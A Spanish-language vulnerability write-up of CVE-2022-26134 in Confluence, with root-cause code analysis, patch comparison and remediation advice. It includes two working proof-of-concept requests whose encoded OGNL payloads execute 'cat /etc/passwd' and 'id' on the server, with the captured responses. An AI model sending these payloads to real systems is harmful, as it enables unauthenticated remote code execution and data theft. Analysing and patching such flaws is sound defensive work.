
[CVE-2022-26134] Inyección de Object-Graph Navigation Language (OGNL) pre-autenticación en Confluence
[CVE-2022-26134] Inyección de Object-Graph Navigation Language (OGNL) sin autenticación previa en Confluence
Confluence es un producto de colaboración en espacio de trabajo basado en la web, desarrollado por Atlassian. Se puede implementar localmente (on-prem) o como parte de Atlassian Cloud. Consta de 3 características clave: página, espacio y árbol de páginas.
El 2 de junio de 2022 a las 20:00 UTC Atlassian publicó un aviso de seguridad relacionado con una vulnerabilidad de ejecución remota de código (RCE) que afecta a los productos Confluence Server y Confluence Data Center. Puedes encontrar información detallada sobre la vulnerabilidad CVE-2022-26134 más abajo.
Resumen: CVE-2022-26134 - Vulnerabilidad de ejecución remota de código no autenticada de severidad crítica en Confluence Server y Data Center
Fecha de publicación del aviso: 2 de junio de 2022
Productos afectados: Confluence Server y Confluence Data Center
Versiones afectadas: Todas las versiones compatibles de Confluence Server y Data Center están afectadas. Las versiones de Confluence Server y Data Center posteriores a 1.3.0 están afectadas.
Versiones corregidas: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 y 7.18.1
ID(s) de CVE: CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection
Prueba de concepto: Solicitud de muestra 1
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Respuesta 1
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

Prueba de concepto: Solicitud de muestra 2
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Respuesta 2
HTTP/1.1 302
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close
¿Cómo funciona la vulnerabilidad?
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ en la URL es analizado por Confluence como un espacio de nombres (namespace). Luego el código utiliza translateVariables (parte de las utilidades de análisis de texto de Confluence) sobre este namespace. Debido a que translateVariables usa OGNL, el ataque será analizado y evaluado.
OgnlValueStack findValue(str) es importante, ya que es el punto de partida para que se evalúe la expresión OGNL. Como puedes ver en el siguiente fragmento, TextParseUtil.class invoca OgnlValueStack.findValue cuando se explota esta vulnerabilidad.
public class TextParseUtil {
public static String translateVariables(String expression, OgnlValueStack stack) {
StringBuilder sb = new StringBuilder();
Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
Matcher m = p.matcher(expression);
int previous = 0;
while (m.find()) {
String str1, g = m.group(1);
int start = m.start();
try {
Object o = stack.findValue(g);
str1 = (o == null) ? "" : o.toString();
} catch (Exception ignored) {
str1 = "";
}
sb.append(expression.substring(previous, start)).append(str1);
previous = m.end();
}
if (previous < expression.length())
sb.append(expression.substring(previous));
return sb.toString();
}
}
ActionChainResult.class invoca TextParseUtil.translateVariables utilizando this.namespace como la expresión proporcionada:
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Donde namespace se crea a partir de la cadena URI de la solicitud en com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:
public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}
El resultado es que la URI proporcionada por el atacante se convertirá en un namespace, que luego llegará a la evaluación de la expresión OGNL. A alto nivel, esto es muy similar a CVE-2018-11776, la vulnerabilidad de inyección OGNL en el namespace de Apache Struts2.
Análisis del parche
Atlassian indicó a los clientes que reemplazaran xwork-1.0.3.6.jar con el recientemente publicado xwork-1.0.3-atlassian-10.jar. Los jars de xwork contienen ActionChainResult.class y TextParseUtil.class, que identificamos como la ruta hacia la evaluación de expresiones OGNL.
El parche realiza una serie de pequeños cambios para corregir este problema. Por ejemplo, namespace ya no se pasa a TextParseUtil.translateVariables desde ActionChainResult.execute:
Antes
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Después
public void execute(ActionInvocation invocation) throws Exception {
if (this.namespace == null)
this.namespace = invocation.getProxy().getNamespace();
String finalNamespace = this.namespace;
String finalActionName = this.actionName;
Gracias a la salida del comando git diff, puedes ver las diferencias antes y después del parche en ActionChainResult.class en la captura de pantalla a continuación. (copiado de la entrada de blog de Datalog)
Atlassian también añadió SafeExpressionUtil.class al xworks jar. SafeExpressionUtil.class proporciona filtrado de expresiones no seguras, y se ha insertado en OgnlValueStack.class para examinar las expresiones cuando se invoca findValue. Por ejemplo:
public Object findValue(String expr) {
try {
if (expr == null)
return null;
if (!this.safeExpressionUtil.isSafeExpression(expr))
return null;
if (this.overrides != null && this.overrides.containsKey(expr))
¿Qué pueden hacer las organizaciones para protegerse contra esta vulnerabilidad?
Ahora que hay un parche disponible, actualiza a una versión corregida de Confluence. Si no es posible aplicar el parche en este momento, Atlassian ha proporcionado instrucciones de mitigación temporal para los clientes según sus versiones de Confluence. Ambas requieren apagar Confluence temporalmente mientras se aplican las mitigaciones. Para más información, consulta las orientaciones específicas del aviso de Atlassian:
Para obtener más información sobre la remediación de esta vulnerabilidad, visita los siguientes recursos: